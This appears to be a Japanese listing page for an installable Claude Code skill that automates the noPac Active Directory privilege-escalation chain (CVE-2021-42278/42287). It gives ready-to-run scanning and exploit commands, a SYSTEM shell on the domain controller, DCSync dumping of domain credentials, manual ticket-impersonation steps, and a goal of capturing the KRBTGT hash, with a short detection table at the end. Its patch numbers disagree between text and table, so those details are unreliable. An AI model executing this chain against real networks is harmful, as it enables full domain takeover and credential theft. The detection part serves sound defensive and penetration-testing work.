exploiting-nopac-cve-2021-42278-42287 について
CVE-2021-42278とCVE-2021-42287を組み合わせたnoPac攻撃の検出と実行を扱う、許可を得たセキュリティテスト向けスキルです。ラボ演習、侵害後の手順、検出に役立つ証拠の記録も対象です。
主な機能
- 01noPac脆弱性のスキャン
- 02マシンアカウント名の偽装
- 03ドメインコントローラーのチケット取得
- 04DCSyncによる認証情報の抽出
- 05検出指標と証拠の記録
活用シーン
- 01Active DirectoryドメインのnoPacリスク評価
- 02隔離ラボでの権限昇格チェーン演習
- 03マルウェアサンプルと攻撃痕跡の分析
- 04noPac検出ルールの作成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-nopac-cve-2021-42278-42287インストール後、Claude Code で/exploiting-nopac-cve-2021-42278-42287を入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
noPac(CVE-2021-42278 / CVE-2021-42287)の悪用
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
概要
noPac は、Active Directory の 2 つの脆弱性、CVE-2021-42278(sAMAccountName のなりすまし)と CVE-2021-42287(KDC PAC の混乱)を組み合わせた重大なエクスプロイトチェーンです。これらを組み合わせることで、認証済みのドメインユーザーであれば誰でも Domain Admin 権限に昇格でき、60 秒未満でドメイン全体を侵害する可能性があります。CVE-2021-42278 により、攻撃者はマシンアカウントの sAMAccountName 属性を、末尾の $ を除いたドメインコントローラーの名前に一致するよう変更できます。CVE-2021-42287 は、Kerberos PAC 検証の欠陥を悪用します。KDC は名前が変更されたアカウントを見つけられない場合、末尾に $ を付加してフォールバックし、ドメインコントローラーアカウントのチケットを発行します。Microsoft は 2021 年 11 月に両方の脆弱性を修正しました(KB5008380 および KB5008602)が、未パッチの環境は数多く残っています。このエクスプロイトは 2021 年 12 月に cube0x0 と Ridter によって公開されました。
使用する状況
- noPac cve 2021 42278 42287 の悪用を伴う、許可を得たセキュリティテストを実施するとき
- 制御された環境でマルウェアサンプルや攻撃の痕跡を分析するとき
- レッドチーム演習やペネトレーションテストを実施するとき
- 攻撃手法の理解に基づいて検知機能を構築するとき
前提条件
- レッドチームの概念とツールに関する知識
- 安全に実行するためのテスト環境またはラボ環境へのアクセス
- 必要な依存関係をインストールした Python 3.8+
- テスト活動に対する適切な許可
目的
- noPac の脆弱性(CVE-2021-42278/42287)があるか、対象ドメインをスキャンする
- sAMAccountName を変更したマシンアカウントを作成または利用する
- KDC PAC の混乱を悪用して、ドメインコントローラーの TGT を取得する
- DC のチケットを使用して DCSync を実行し、ドメインの認証情報をダンプする
- 標準のドメインユーザーアカウントから Domain Admin アクセスを取得する
- 証拠とともにエクスプロイトチェーン全体を記録する
MITRE ATT&CK マッピング
- T1068 - 権限昇格のための悪用
- T1136.002 - アカウントの作成:ドメインアカウント
- T1078.002 - 有効なアカウント:ドメインアカウント
- T1558 - Kerberos チケットの窃取または偽造
- T1003.006 - OS 認証情報のダンプ:DCSync
ワークフロー
フェーズ 1:脆弱性スキャン
- noPac スキャナーを使用して、ドメインに脆弱性があるか確認します:
# Using cube0x0's noPac scanner python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1 # Using CrackMapExec module crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac - MachineAccountQuota を確認します(デフォルトは 10 で、任意のユーザーがコンピューターをドメインに参加させることができます):
# Check MachineAccountQuota via LDAP python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) "
フェーズ 2:noPac ツールによる悪用
- noPac エクスプロイトチェーン全体を実行します:
# Using cube0x0's noPac (gets a shell on the DC) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # Using Ridter's noPac (alternative implementation) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dump - エクスプロイトは以下を自動的に実行します:
- 新しいマシンアカウントを作成します(または既存のものを使用します)
- マシンアカウントの sAMAccountName を DC と一致するように変更します(例:「DC01」)
- なりすましたアカウント名の TGT を要求します
- 元の sAMAccountName に戻します
- S4U2self を使用して、対象ユーザーになりすましたサービスチケットを取得します
- KDC は「DC01」に一致するアカウントが見つからないため、「DC01$」(実際の DC)にフォールバックします
フェーズ 3:侵害後
- 取得したドメインコントローラーのチケットを使って、DCSync を実行します:
# DCSync using secretsdump.py with the Kerberos ticket export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/[email protected] # Or directly through the noPac shell # The shell runs as SYSTEM on the DC - または、半対話型シェルを取得します:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap
フェーズ 4:手動での悪用手順
- マシンアカウントを作成します:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - SPN をクリアし、sAMAccountName の名前を変更します:
# Rename machine account sAMAccountName to DC name (without $) renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - なりすました名前の TGT を要求します:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123' - 元のマシン名に戻します:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - S4U2self を使用してなりすまします:
export KRB5CCNAME=DC01.ccache getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \ -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
ツールとリソース
| ツール | 目的 | プラットフォーム |
|---|---|---|
| noPac (cube0x0) | 自動スキャンおよびエクスプロイト | Python |
| noPac (Ridter) | 代替のエクスプロイト実装 | Python |
| Impacket | Kerberos チケットの操作、DCSync | Python |
| CrackMapExec | 脆弱性スキャンモジュール | Python |
| Rubeus | Windows の Kerberos チケット操作 | Windows (.NET) |
| secretsdump.py | ポストエクスプロイトでの認証情報ダンプ | Python |
CVE の詳細
| CVE | 説明 | CVSS | パッチ |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName のなりすまし(マシンアカウント) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC の混同/権限昇格 | 7.5 | KB5008380 |
検出シグネチャ
| 指標 | 検出方法 |
|---|---|
| マシンアカウントの sAMAccountName の変更 | sAMAccountName の変更を伴うイベント 4742(コンピューターアカウントの変更) |
| 新しいマシンアカウントの作成 | イベント 4741(コンピューターオブジェクトの作成) |
| 末尾に $ が付かないアカウントに対する TGT リクエスト | Kerberos 監査ログの分析 |
| 非 DC マシンアカウントからの S4U2self リクエスト | 不審なサービスチケットリクエストを示すイベント 4769 |
| アカウント作成、名前変更、TGT リクエストの急速な連続 | noPac 攻撃パターンを対象とする SIEM 相関ルール |
検証基準
- ドメインをスキャンして noPac の脆弱性を確認
- MachineAccountQuota を確認(既定値は 10)
- エクスプロイトが正常に実行された(シェルまたは DCSync)
- 標準ユーザーから Domain Admin 権限を取得
- DCSync を実行してドメインの認証情報をダンプ
- 永続性の検証用に KRBTGT ハッシュを取得
- 攻撃チェーンをタイムスタンプ付きで記録
- パッチの適用状況を確認(KB5008380、KB5008602)